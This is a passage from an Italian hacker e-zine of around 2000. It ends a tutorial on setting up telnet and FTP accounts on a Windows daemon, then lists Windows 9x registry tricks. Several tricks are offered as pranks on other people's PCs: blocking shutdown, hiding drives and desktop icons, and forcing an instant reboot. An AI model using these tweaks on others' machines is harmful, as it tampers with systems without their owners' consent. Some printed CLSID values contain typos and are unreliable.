|Per attivare questi permessi dovete mettere il segno di spunta vicino alla voce.|
|Ovviamente il root (amministratore) li ha tutti. |
| |
|Adesso c'è la voce "Homedirectory for this user". Qui potete decidere in che |
|directory può lavorare l'utente. Ricordate che voi gli date la dir principale, |
|Poi lui può lavorare sulle sottodirectory (es. se gli date come homedirectory |
|c:\ potrà lavorare anche su c:\documenti). |
|Clicchiamo VFS Setting. |
| |
|Ora dobbiamo selezionare la directory di lavoro con i permessi. State attenti e |
|seguitemi bene, perchè già qui la faccenda comincia complicarli. In genere root |
|ha permessi totali (quindi sceglite pass difficili !!!) e come homedirectory ha |
|c:\. Così potrà controllare tutto. |
| |
| VFS-Path: questa voce indica solo come apparirà la homedirectory all'utente. |
|Potete scegliere di mettere "/" oppure "#" o qualsiasi segno vogliate. |
| |
| DOS-Path: questa è MOLTO importante. Indica il percorso dos della dir di lavoro|
| Ad esempio c:\nome_utente. Questo è il root, quindi io scelgo c: |
| |
|Adesso devo dargli i permessi. Ricordo a tutti che questo è root, quindi gli |
|darò tutti i permessi. Clicco su ADD e nella casella sottostante apparirà il |
|segno che avete scelto in VFS-Path seguito da (R). |
| |
|QUella R tra parentesi indica il permesso di lettura (read). Ora noi dobbiamo |
|dargli gli altri diritti. |
|Selezioniamo /(R). Sotto c'è un frame con nome "Right". Mettiamo il segno di |
|spunta su "Read", "Write", "Execute". Per mettergli di muoversi liberamente |
|nelle sottodir selezioniamo anche "Recursive" e poi clicchiamo Make Home |
|(così facendo diventa la sua homedirectory) e poi Apply (applica). Poi Close. |
|Adesso cliccate "Save Changes" |
| |
|Fatto, abbiamo sistemato il root.. Col cazzo!! Ve l'ho detto che era lunga. |
|Abbiamo configurato solo il telnet. Ci manca da configurare l'FTP, dobbiamo |
|vedere come aggiungere user con poteri limitati, ecc... |
| |
|Cmq vediamo se abbiamo fatto un buon lavoro. Facciamo partire telnet e come host|
|gli mettiamo 127.0.0.1 (che indica sempre il localhost) come porta lasciamo |
|telnet. "Connetti". |
| |
|Se appare Username cominciate a saltare... Però aspettate che controlliamo |
| |
| username: l'id del vostro root |
| password: (non vi appare niente, è normale!! Voi digitate e cliccate invio) |
| |
+--------------------------------------------------------------------------------+
| |
| Januari 2000 |
| We got this GREAT Daemon, it really rocks! |
| |
| The creator worked hard on it, he want to help the internet |
| community a bit, so he gives his program to non-commercial |
| and non-governmental (or related) for free! (the unregistered version) |
| |
| But the commercial and governmental (or related) MUST PAY the |
| fee, see www.fictional.net for details. |
| |
| Fictional Daemon v4.1 (http://www.fictional.net) |
| FREE version for NON-COMMERCIAL/NON-GOVERNMENTAL use. |
| Executing logon script... |
| |
| /> |
| |
|Se vi appare questa schermata avete fatto un bel lavoro ragazzi! Telnet funge!!!|
|Problema: come cambiare il messaggio d'ingresso? Niente di più semplice. |
|Andate su C:\Programmi\FDaemon e aprite motd.txt |
|Modificatelo come volete e mettete il messaggio d'ingresso che più vi aggrada. |
| |
+--------------------------------------------------------------------------------+
| |
|Mo' configuriamo l'FTP del root... Ritorniamo su Fictional Daemon e selezioniamo|
|il nostro user e poi show. In fondo alla finestra c'è la scritta: |
| "FTP-allowed for this user". Mettiamo il segno di spunta lì e clicchiamo: |
| "Save Changes". |
| |
|Adesso prendiamo un FTP qualunque. |
| |
| Host name: 127.0.0.1 |
| ID: l'id del vostro root |
| PASS: quella del vostro root |
| |
|GRANDE! Funge! E con pieni permessi. Ok, il root è configurato e và da Dio. |
|Adesso viene il difficile. Vediamo un po' di aggiunte che possiamo fare: |
| |
| 1) Accesso telnet & ftp ad altri user con permessi limitati (non root) |
| 2) Accesso FTP anonimo (user: anonymous, pass: mail@mail.com) |
| |
+--------------------------------------------------------------------------------+
| |
| 1) Accesso telnet & ftp ad altri user con permessi limitati (non root) |
| |
|Non bastano le cose che sapete adesso per fare questo. Dobbiamo vedere un paio |
|di altri comandini. |
| |
|Cominciamo ad aggiungere un altro user con permessi più limitati con acecsso a |
|telnet & ftp. |
| |
|Facciamo partire Fictional Daemon e clicchiamo su "New"... |
| |
| ID: ZetaZeroAlfa |
| Pass: nonlosochemetteredipassword |
| |
|Selezioniamo e clicchiamo "Show". Adesso l'utente "ZetaZeroAlfa" non ha alcun |
|permesso. Che permessi gli possiamo dare? Beh, possiamo dargli certamente cd/dir|
|non gli daremo certamente "Shutdow/reboot". |
| |
|Mh.. "Change Own Password"... Sì, così potrà cambiarsi la pass a piacimento! |
| |
|Direi che un utente normale non ha bisogno d'altro. |
| |
|Adesso dobbiamo decidere la sua homdirectory. Clicchiamo VFS. Possiamo creargli |
|c:\zeta come dir. Prima creiamo la cartella poi ritorniamo a Fictional Daemon. |
| |
| VFS-Path: /zeta |
| DOS-Path: c:/zeta |
| Clicchiamo Add, selezioniamo /zeta(R) e decidiamo che permessi dargli.. |
|Beh, nella sua homedirectory gli possiamo dare pieni permessi di lettura scrit- |
|tura, selezioniamo Read & Write, Recursive e poi Make Home. |
| |
|Ok, la sua homedirectory è /zeta. Però potremmo dargli permessi di lettura a |
|tutto il disco se è una persona di nostra fiducia (sconsigliato potrebbe rubarvi|
|le pass e poi..) cmq si può fare così: |
| |
| VFS-Path: / |
| DOS-Path: c: |
| e poi clicchiamo Add |
| |
|Selezioniamo /(R) e controlliamo che sia segnata solo la casella "Read"... Dare |
|permessi di scrittura a qualcuno su tutto l'hard disk potrebbe essere doloroso. |
|Clicchiamo Apply e poi (una volta finito) Close. Poi "Save Changes" |
|Ora, quando l'utente zetazeroalfa si loggherà nel nostro pc si ritroverà |
| |
| zeta> |
|con pieni permessi. |
| |
| Scrivendo cd / |
|si ritroverà in |
| |
| /> |
| |
|con permessi di sola lettura. Semplice no? |
|RICORDATE: lettura vuol dire che può prelevare e leggere tutto quanto sia in |
|quella dir. |
| |
|A questo punto possiamo abilitargli anche l'accesso FTP, no? Selezioniamo |
|l'utente, show e mettiamo il segno di spunta a "FTP-allowed for this user". |
|"Save Changes" anche qui e via. Proviamo. |
| |
| Apriamo l'FTP |
| Host Name: 127.0.0.1 |
| ID: zetazeroalfa |
| pass: nonlosochemetteredipassword |
| |
|Ci ritroviamo in /documenti |
|Possiamo salire ed andare su /.. |
|Xò non possiamo scendere in /windows o /ciao . Questo perchè quando abbiamo |
|cliccato su VFS non abbiamo selezionato Recursive.. Questa può essere una buona |
|soluzione per evitare che entri nelle dir degli altri. Se volete che abbiamo |
|pieno accesso (solo di lettura) quando avete aggiunto /(R) cliccate anche su |
|"Recursive". Quando è in /documenti l'utente zetazeroalfa può anche caricare |
|programmi/documenti/ecc.., quando invece si trova in altre dir può solo preleva-|
|re. Se prova a caricare file senza il permesso si ritrova la scritta: |
|"No permission". |
| |
+--------------------------------------------------------------------------------+
| |
| 2) Accesso FTP anonimo (user: anonymous, pass: mail@mail.com) |
| |
|Ok, qui è abbastanza semplice. Aprite telnet e loggatevi come root (vedi id & |
|pass del root).
|
| |
|Prima di tutto dovete creare un cartella dove inserirete i file che saranno di |
|libero accesso agli utenti che si loggano come anonimi con FTP. |
| |
|Io creerò una cartella che si chiamerà public. |
| |
|mi loggo e scrivo |
| cmd md public |
|(i comandi vanno preceduti da cmd, md = make dir, public = nome dir) |
| |
|poi mi sposto in public |
| cd public |
| |
|adesso devo abilitare l'utente anonimo |
| ALLOWANO ON |
| |
|Adesso devo decidere la homedirectory degli utenti che si loggano come anonimi. |
|Sono già in public quindi digito: |
| |
| SETDIR -H ANONYMOUS |
| |
|Ora dò i permessi.. Mh, a un utente anonimo lascerò solo leggere e lascerò la |
|possibilità di spostarsi all'interno di /public, quindi questa è la riga di |
|comando: |
| |
| FTPRIGHT ANONYMOUS,ADD,RS,/public,C:\public |
| |
|(ftpright = comando, anonymous = nome utente, ADD = diritti, RS = Read, |
|Recursive [lettura e spostamento nelle sottodir], /public = nome della VFS-Path,|
|c:\public = dos-path) |
| |
|Adesso è meglio controllare di non avere sbagliato niente, quindi controlliamo i|
|diritti di anonymous con: |
| |
| FTPRIGHT ANONYMOUS |
| |
|Vi dovrebbe apparire una cosa del genere: |
| |
| Rights for user: ANONYMOUS |
| RS,/public,c:\public |
| |
|RS = permessi di lettura e permessi di spostarsi all'interno delle sottocartelle|
|di /public. |
| |
+--------------------------------------------------------------------------------+
| |
|Ok, la configurazione di base è a posto. Abbiamo un utente root, un utente con |
|permessi limitati e un FTP con accesso anonimo. Questo può andare bene per il |
|99% delle configurazioni. |
|Su questo programma si potrebbero però scrivere decine di pagine. |
| |
|Tutti i comandi con le sintassi, le varie opzioni, le decine di settaggi |
|possibili.. Ma non sono qui per fare una guida completa per Fictional Daemon. |
|Me lo sono scaricato anch'io senza nessuna guida a parte quella allegata al pro-|
|gramma in inglese e sono riuscito a configurare il tutto senza problemi. |
|Vi ho lanciato un inizio, sta a voi andare avanti. |
| |
+--------------------------------------------------------------------------------+
| |
|Una cosa ragazzi: ho scritto un txt su "Oggi mi monto un Web Server" poi "Oggi |
|mi monto FTp & Telnet". A questo punto molti di voi si diranno: ma allora se è |
|così semplice farsi un server.. Beh, vuol dire che un amministratore non è |
|niente di speciale!! Ragazzi, c'è una bella differenza tra un normale amminis- |
|tratore e un buon amministratore. Io ho usato programmi freeware, semplici da |
|installare e da configurare. E già questo basterebbe per montare un server |
|almeno funzionante. |
| |
|Ricordate però che un buon amministratore deve conoscere i programmi che usa |
|alla perfezione, devi aggiornarli, devi curarli e configurarli in modo perfetto.|
|E deve essere attento alla sicurezza. Chiunque è capace di montare Fictional |
|Daemon o Apache, ben pochi li conosco veramente a fondo e ben pochi sanno ammini|
|strarlo e configurarlo perfettamente. |
| |
|Voi potete essere amministratori in pochi semplici passi, ma voi potete anche |
|diventare buoni amministratori. Ma i passi allora saranno molti di più. |
| |
+--------------------------------------------------------------------------------+
| |
| Un saluto: |
| a tutti i membri del Tcc - |
| Siamo online da tanto ed il merito è più vostro che mio! |
| a Sys |
| sono lamer ok.. Xò poi pubblichi i miei testi.. Come mai se fanno schifo? |
| a NewbiesTeam - xkè sono simpatici :)) |
| a OndaQuadra & Dirty Net - perchè pubblicano i miei txt |
| a tutti quelli che mi scrivono mail - BASTA !!!!! :)) |
| |
|Un'ultima cosa: qualcuno cerca un amministratore? Beh, mi offro volontario, mi |
|bastano 3 milioni al mese!! Referenze? Ehm.. Nessuna. Titoli di studio? Ehm.. |
|Licenza media inferiore.. Età? 17 anni.. Come? Ripasso fra 4 anni? E devo avere |
|una laurea? Ok, grazie :)) |
| |
+--------------------------------------------------------------------------------+
.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.
+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 - [VARI] -=[09]=- |
| Trucchi Windows 9X Internet |
+--------------------------------------------------------------------------------+
| |
| TRUCCHI PER WINDOWS 9X TROVATI SU INTERNET |
| |
+--------------------------------------------------------------------------------+
| |
| - Uscire da windows il modo più veloce e fico |
| |
|Normalmente arrestare windows richiede un sacco di dannato tempo, devi muovere |
|il tuo mouse sul pulsante start, clickare su di esso, muovere ancora su chiudi |
|sessione, clickare, muoversi sull'opzione necessaria e clickare, poi muovere il |
|cursore sul pulsate OK e clickare ancora una volta (l'avevi indovinato). |
| |
|Questo intero processo può essere accorciato creando un nuovo collegamento sul |
|desktop che riavvierà windows quando clicki sul pulsante. |
| |
|Incomincia col creare un nuovo collegamento (click col tasto destro sul desktop |
|e seleziona nuovo->collegamento). Poi nella linea di comando, digita (senza le |
|virgolette): |
| |
| 'C:\windows\rundll.exe user.exe,exitwindowsexec' |
| |
|Questo collegamento quando clickato riavvierà windows immediatamente senza alcun|
|avviso. |
| |
|Per creare un collegamento per arrestare windows, digita come segue nella linea |
|comando: |
| |
| 'c:\windows\rundll.exe user.exe,exitwindows' |
| |
|Questo collegamento quando clickato arresterà windows immediatamente senza alcun|
|avviso. |
| |
+--------------------------------------------------------------------------------+
| |
| - Eliminare gli arresti: uno scherzo da fare ai lamers |
| |
|Questo è un semplice scherzo che puoi fare a quel lamer che ha un enorme ego, in|
|questa sezione io ti insegnerò, come disabilitare l'opzione arresta il sistema |
|nel menu per arrestare il sistema. Questo scherzo richiede l'editazione del re- |
|gistro, per questo per favore fai una copia di backup. |
| |
|Lancia regedit.exe e vai a: |
| |
| HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer |
| |
|Nel pannello sulla destra cerca la voce NoClose. Se non è già lì allora crearla |
|clickando col tasto destro sul pannello e selezionando Nuovo->stringa (chiamala |
|NoClose). Adesso che vedi la voce NoClose nel pannello a destra, clicka col tast|
|destro su di essa e seleziona modifica. Poi digita '1' nel campo valore. |
| |
|Facendo ciò su un sistema win98 si disabilita l'opzione per l'arresto del siste-|
|ma, ma su un sistema win95 clickare sul pulsante start->arresta sistema comporta|
|la visualizzazione del seguente messaggio: |
|Questa operazione è stata eliminata a causa delle restrizioni in atto su questo |
|computer. Per favore contatti il suo amministratore di sistema. |
| |
|Puoi riabilitare l'opzione cambiando il valore della voce NoClose a 0 o sempli- |
|cemente cancellando la voce particolare (NoClose). |
| |
|Invece di eseguire il processo precedente che è difficile da ricordare, salva |
|semplicemente quanto segue con un estensione .reg e aggiungi il contenuto al |
|registro con un doppio click su di esso. |
| |
| REGEDIT4 |
| |
| [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]|
| |
| "NoClose"="1" |
| |
+--------------------------------------------------------------------------------+
| |
| - Disabilitare la visualizzazione dei drivers su risorse del computer |
| |
|Questo è un altro scherzo che puoi giocare a un tuo amico. Per disabilitare la |
|visualizzazione dei drives locali quando si clicka su risorse del computer vai a|
| |
| HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer |
| |
|Adesso nel pannello di destra crea un nuovo oggetto DWORD e nominalo NoDrives'. |
|Adesso modifica il suo valore e ponilo uguale a '3FFFFFF' (esadecimale) adesso |
|premi F5 per ricaricare. Quando clicki su risorse del computer, non viene mostra|
|to nessun drive. Per riabilitare la visualizzazione cancella semplicemente l'og-|
|getto DWORD. Ecco il file .reg come segue: |
| |
| REGEDIT4 |
| |
| [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]|
| |
| "NoDrives"=dword:03ffffff |
| |
+--------------------------------------------------------------------------------+
| |
| - Impadronirsi dello screen saver |
| |
|Per disattivare e attivare lo screen saver ogni volta che vuoi, vai nella se- |
|guente chiave del registro |
| |
| HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ScreenSavers |
| |
|Adesso aggiungi una nuova stringa e chiamala 'Mouse Corners'. Edita questo nuovo|
|valore con -Y-N. Premi F5 per ricaricare il registro. Voila! Adesso puoi attiva-|
|re il tuo screensaver semplicemente ponendo il cursore del mouse nell'angolo in |
|alto a destra dello schermo se lo sposti nell'angolo in basso a sinistra, lo |
|screensaver si disattiverà. |
| |
+--------------------------------------------------------------------------------+
| |
| - Mostra un avviso ogni volta che windows si avvia. |
| |
|Per mostrare un avviso che può contenere qualsiasi messaggio che vuoi mostrare |
|giusto prima che un utente si logghi, vai alla chiave: |
| |
| HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WinLogon |
| |
|Adesso crea una nuova stringa nel pannello a destra chiamata 'LegalNoticeCaption|
|e digita il valore che vuoi vedere nella barra del menu. Adesso crea ancora |
|un'altra nuova stringa e chiamala 'LegalNoticeText'. Modificala e inserisci il |
|messaggio che vuoi mostrare ad ogni avvio di windows. Questo può essere effet- |
|tivamente usato per mostrare la politica privata della compagnia ogni volta che |
|un utente si logga su una postazione NT. Ecco il file .reg come segue: |
| |
| REGEDIT4 |
| |
| [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon] |
| |
| "LegalNoticeCaption"="Caption here." |
| |
+--------------------------------------------------------------------------------+
| |
| - Cancellare il consiglio del giorno per salvare 5 Kb. |
| |
|Windows95 ha quei consigli del giorno che appaiono su un sistema che ha appena |
|installato windows. Questi consigli del giorno sono conservatì nel registro di |
|windows e occupano 5 Kb. di spazio. Per quelli di voi che sono realmente preoc-|
|cupati di quanto spazio libro ha il loro hard disk, io ho il trucco perfetto. |
|Vai nella seguente chiave del registro: |
| |
| HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Tips |
| |
|Adesso cancella semplicemente questi consigli selezionandoli e premendo il tasto|
|canc. |
| |
+--------------------------------------------------------------------------------+
| |
| - Cambiare la locazione di default |
| |
|Per cambiare il drive o il path di default dove windows cercherà i suoi files di|
|installazione, vai alla seguente chiave: |
| |
| HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Setup\SourcePath |
| |
|Adesso puoi editarla come vuoi. |
| |
+--------------------------------------------------------------------------------+
| |
| - Proteggere le icone del tuo desktop e le impostazioni |
| |
|Puoi proteggere le impostazioni del tuo desktop da tuoi amici modificando il |
|registro. Semplicemente lancia l'editor del registro e vai a: |
| |
| HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer |
| |
|Nel pannello di destra crea un nuovo oggetto DWORD chiamato 'NoSaveSettings' e |
|modifica il suo valore a '1'. Riavvia per ottenere il salvataggio. |
| |
+--------------------------------------------------------------------------------+
| |
| - Cartelle CLSID spiegate |
| |
|Tu non odi quelle caparbie stupide icone che si rifiutano di lasciare il desktop|
|Sono sicuro che vuoi sapere come puoi cancellarle. Potresti dire che è veramente|
|semplice, semplicemente clickando col tasto destro sull'icona interessata e |
|selezionando elimina. Bhe, non esattamente, vedrai che quando effettuerai il |
|click desto su quelle speciali cartelle (vedi l'intera lista sotto) non appari- |
|ranno nè l'opzione elimina nè quella rinomina. Per cancellare queste cartelle, |
|ci sono 2 metodi, il primo è usare il System Policy Editor(Poledit nell'instal- |
|lazione di windows su CD) e il secondo è usare il registro. |
| |
|Per cancellare le cartelle di sistema dal desktop semplicemente vai alle seguen-|
|ti chiavi del registro: |
| |
| HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Desktop\ |
| Namespace{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx} |
| |
|Per cancellare un icona semplicemente cancella il valore CLSID a 16 byte all'in-|
|terno di "Namespace". I seguenti valori CLSID sono quelli delle icone più fre- |
|quentemente usate: |
| |
| My Briefcase:{85BBD920-42AO-1069-A2E4-08002B30309D} |
| |
| Desktop: {00021400-0000-0000-C000-0000000000046} |
| |
| Control Panel:{21EC2020-3AEA-1069-A2DD-08002B30309D} |
| |
| Dial-Up-Networking:{992CFFA0-F557-101A-88EC-00DD01CCC48} |
| |
| Fonts: {BD84B380-8CA2-1069-AB1D-08000948534} |
| |
| Inbox :{00020D76-0000-0000-C000-000000000046} |
| |
| My Computer :{20D04FE0-3AEA-1069-A2D8-08002B30309D} |
| |
| Network Neighborhood:{208D2C60-3AEA-1069-A2D7-O8002B30309D} |
| |
| Printers :{2227A280-3AEA-1069-A2DE-O8002B30309D} |
| |
| Recycle Bin :{645FF040-5081-101B-9F08-00AA002F954E} |
| |
| The Microsoft Network:{00028B00-0000-0000-C000-000000000046} |
| |
| History: {FF393560-C2A7-11CF-BFF4-444553540000} |
| |
| Winzip :{E0D79300-84BE-11CE-9641-444553540000} |
| |
|Per esempio per cancellare il cestino, prima segnati il suo valore CLSID, che |
|è: 645FF040-5081-101B-9F08-00AA002F954E. Adesso vai nella chiave Namespace nel |
|registro e cancella il valore corrispondente. |
| |
| KEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Desktop\ |
| NameSpace\{645FF040-5081-101B-9F08-00AA002F954E} |
| |
|Similmente per cancellare la cartella cronologia, cancella la seguente chiave: |
| |
| HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Desktop\ |
| NameSpace\{FBF23B42-E3F0-101B-8488-00AA003E56F8} |
| |
|Qualche volta potresti aver bisogno di giocare uno scherzo a tuo fratello o a un|
|tuo amico, bene questo ti insegna come nascondere tutte le icone dal desktop. |
|Vai alla seguente chiave del registro: |
| |
| HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer |
| |
|Nel pannello di destra crea un nuovo valore DWORD chiamato: 'NoDesktop' e poni |
|il suo valore a '1'. Riavvia e non troverai più icone sul desktop. |
| |
|Fino ad adesso hai semplicemente imparato come cancellare cartelle speciali di |
|sistema cancellando una chiave del registro, ma un hackeraggio verrebbe meglio |
|se ci fosse un modo di aggiungere le opzioni CANCELLA e RINOMINA nel menu che si|
|ottiene col click destro su queste cartelle speciali. Tu puoi cambiare tale menu|
|di ogni cartella di sistema e aggiungere ognuna delle seguenti opzioni: RINOMINA|
|CANCELLA, TAGLIA, COPIA, INCOLLA e molte altre. |
| |
|Questo hackeraggio richiede che tu conosca il valore CLSID della cartella di |
|sistema che tu vuoi personalizzare. In questa sezione, io ho considerato il ces-|
|tino come la cartella della quale editerò il menu. |
| |
|Per primo lancia l'editor del registro e apri la seguente chiave: |
| HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\ShellFolder |
| |
|Nel caso tu voglia editare altre cartelle come, diciamo, la cartella dei FONTS, |
|allora devi aprire la seguente chiave: |
| |
| HKEY_CLASSES_ROOT\CLSID\{VALORE CLSID}\ShellFolder |
| |
|Nel pannello a destra ci sarà un valore DWORD chiamato attributes. Adesso consi-|
|dera le seguenti opzioni: |
| |
|1. Per aggiungere l'opzione rinomina al menu, cambia il valore di attributes in:|
| 50 01 00 20 |
|2. Per aggiungere l'opzione cancella al menu, cambia il valore di attributes in:|
| 60 01 00 20 |
|3. Per aggiungere sia rinomina che cancella, cambia il valore di attributes in: |
| 70 01 00 20 |
|4. Per aggiungere copia al menu, cambia il valore di attributes in: 41 01 00 20 |
|5. Per aggiungere taglia al menu, cambia il valore di attributes in: 42 01 00 20|
|6. Per aggiungere sia taglia che copia al menu, cambia il valore di attributes |
| 43 01 00 20 |
|7. Per aggiungere incolla al menu, cambia il valore di attributes in:44 01 00 20|
|8. Per aggiungere copia e incolla al menu, cambia il valore di attributes in: |
| 45 01 00 20 |
|9. Per aggiungere taglia e incolla al menu, cambia il valore di attributes in: |
| 46 01 00 20 |
|10. Per aggiungerli tutti, cambia il valore di attributes in: 47 01 00 20 |
| |
|Noi vogliamo aggiungere solo l'opzione rinomina al menu del cestino, così cam- |
|biamo il valore di attributes in 50 01 00 20. Premiamo F5 per riavviare e dopo |
|aver riavviato troverai che quando clicki col tasto destro sul cestino spunta |
|anche l'opzione rinomina. Per resettare il valore originario delle opzioni i |
|windows cambia di nuovo il valore in: 40 01 00 20 |
| |
|Il file di registro che uno può creare per il processo di sopra dovrebbe aparire|
|in questo modo; |
| |
| REGEDIT4 |
| |
| [HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\Shell-Folder] |
| |
| "Attributes"=hex:50,01,00,20 |
| |
+--------------------------------------------------------------------------------+
| |
| - Il menu start |
| |
|Per accedere, diciamo, alle proprietà del modem nella cartella del pannello di |
|controllo, la procedura normale è: clickare su start. clickare su impostazioni->|
|pannello di controllo, aspettare che venga mostrata la finestra del pannello di |
|controllo e poi infine, clickare sull'icona del modem. |
| |
|Non sarebbe adorabile se potessi abbreviare il processo in: clickare su start-> |
|pannello di controllo->modem? Si, tu puoi aggiungere il pannello di controllo e |
|anche tutte le altre icone speciali di sistema direttamente al primo livello del|
|menu start. Per prima cosa raccogli il valore CLSID della cartella che vuoi |
|aggiungere al menu start. Io voglio aggiungere il pannello di controllo, quindi,|
|il valore CLSID è: 21EC2020-3AEA-1069-A2DD-08002B30309D |
| |
|Adesso click destro sul pulsante start e seleziona apri. Adesso crea una nuova |
|cartella e chiamala: Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D} |
| |
|NOTA: non dimenticare il punto dopo la 'l' in panel. Similmente tutte le cartele|
|di sistema possono essere aggiunte al menu start. |
| |
+--------------------------------------------------------------------------------+
| |
| - Cancellare opzioni di sistema dal menu start |
| |
|Tu puoi rimuovere le opzioni trova ed esegui dal menu start eseguendo un smplice|
|hackeraggio del registro. Ancora una volta lancia l'editor del registro e scendi|
|fino alla chiave: |
| |
| HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer |
| |
|Click destro sul pannello destro e seleziona nuovo->valore DWORD. Chiamalo 'No |
|Find' (per rimuovere il comando esegui chiamalo 'NoRun'). Doppio click sulla |
|nuova DWORD creata per editare il suo valore e inserire '1' come tale. Questo |
|disabiliterà l'opzione trova nel menu start e anche il tasto di scelta rapida |
|(F3 per trova). |
| |
|Per ripristinare i comandi esegui e trova modifica il valore della DWORD in '0' |
|o semplicemente cancellala. |
| |
+--------------------------------------------------------------------------------+
| |
| - stufi delle noiose icone gialle delle cartelle? (compreso le icone dei drive)|
| |
| NOTA: questo trucco non è stato provato su win98 ma solo su 95 |
| |
|Tu puoi semplicemente cambiare le noiose icone delle cartelle con le tue perso- |
|nalizzate semplicemente creando un file di testo e copiando le seguenti righe |
|dentro di esso: |
| |
| [.ShellClassInfo] |
| |
| ICONFILE=Drive:\Path\Icon_name.extension |
| |
|Salva questo file col nome di 'desktop.ini' nella cartella, della quale vuoi |
|cambiare l'icona. Adesso previeni che questo file sia cancellato cambiando i |
|suoi attribbuti in NASCOSTO e DI SOLA LETTURA usando il comando ATTRIB. |
| |
|Per cambire l'icona di un drive, crea un file di testo contenente le seguenti |
|linee: |
| |
| [Autorun] |
| |
| ICON=Drive:\Path\Icon_name.extension |
| |
|Salva questo file nella root del drive del quale vuoi cambiare l'icona e chiamal|
|'autorun.inf'. Per esempio, se vuoi cambiare l'icona di un floppy, salva l'icona|
|in "a:\icon_name.ico" uno può anche creare un'icona per l'hard disk e creare un |
|file di testo [autorun.inf] e salvarlo in "c:\". |
| |
+--------------------------------------------------------------------------------+
| |
| - Sicurezza su NT |
| |
|Per default, NT 4.0 mostra l'ultima persona che si è loggata nel sistema. |
|Questo può essere considerato come una minaccia per la sicurezza, specialmente |
|nel caso di quelle persone che scelgono che la loro password sia anche il loro |
|username. Per disabilitare questo bug che attualmente è una caratteristica, vai |
|nella seguente chiave nell'editor del registro: |
| |
| HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon |
| |
|Clicka e seleziona l'oggetto ReportBookOK e crea una nuova stringa chiamata |
|'DontDisplayLastUserName'. Modificala e ponila uguale a '1'. |
| |
|Come amministratore di sistema, puoi assicurare che le password scelte dagli |
|utenti non siano troppo lame o troppo facili da indovinare. NT ha questa amabile|
|applicazione chiamata User Manager che permette all'amministratore di settare |
|l'età minima della password, il che forza l'utente a cambiare la password dopo |
|un certo numero di giorni. Puoi anche settare la lunghezza minima delle password|
|e prevenire che gli utenti usino password che sono già state usate di recente e |
|anche abilitare account bloccati che disattiveranno un account dopo un determi- |
|nato numero di tentativi di login falliti. |
| |
|Quando ti logghi su NT, dovresti disabilitare il Password Caching, questo assi- |
|cura singoli domini di login NT e previene anche schermi secondari di logon. |
| |
|Semplicemente copia le seguenti linee in un editor di testo ASCII come: notepad |
|e salvali con l'estensione .reg |
| |
| ----------------DISABLE.reg----------------- |
| |
| REGEDIT4 |
| |
| [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Network]|
| |
| "DisablePwdCaching"=dword:00000001 |
| |
| ----------------DISABLE.reg----------------- |
| |
|Per abilitare il Password Caching usa il seguente .reg file: |
| |
| ----------------Enable.reg------------------ |
| |
| REGEDIT4 |
| |
| [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Network]|
| |
| "DisablePwdCaching"=dword:00000000 |
| |
| ----------------Enable.reg------------------ |
| |
+--------------------------------------------------------------------------------+
| |
| - Cancellare il menu dei documenti recenti e il RUN MRU |
| |
|Il menu dei documenti recenti può essere facilmente disabilitato editando il re-|
|gistro. Per fare questo vai alla seguente chiave: |
| |
| HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer |
| |
|Adesso nel pannello di destra, crea una nuova DWORD chiamata: NoRecentDocsMenu e|
|poni il suo valore uguale a '1'. Riavvia explorer per rendere attivi i cambia- |
|menti. |
| |
|Puoi anche cancellare l'history RUN MRU. Tutte le liste sono contenute nella |
|chiave: |
| |
| HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU |
| |
|Puoi anche cancellare liste individuali o l'intero listato. Per cancellare |
|l'history delle liste di ricerca vai a: |
| |
| HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Doc Find |
| Spec MRU e cancellala. |
| |
+--------------------------------------------------------------------------------+
| |
| - Customizzare il menu del tasto destro sul menu start |
| |
|Quando tu fai un click col tasto destro sul menu start, solo tre opzioni vengono|
|mostrate: Apri, Esplora, e trova. Puoi aggiungere i tuoi programmi a questo menu|
|a comparsa (che appare quando clickiamo col tasto destro). Apri il regedit e vai|
|alla seguente chiave: |
| |
| HKEY_CLASSES_ROOT\Directory\Shell |
| |
|fai un click destro e crea una nuova sottochiave (puoi crearla clickando col ta-|
|sto destro sulla chiave 'shell' selezionando nuovo->chiave). Digita il nome |
|dell'applicazione che vuoi includere al menu start. Io voglio aggiungere notepad|
|e quindi chiamo questa nuova sottochiave 'notepad'. Adesso fai un altro click |
|destro sulla nuova sottochiave e creane un altra chiamata 'Command'. Nella quale|
|inserirai il percorso completo dell'applicazione, in questo caso notepad, nel |
|valore di default presente nel pannello di destra. Così io ho modificato il va- |
|lore della stringa di default e ho inserito il percorso completo di notepad: |
| |
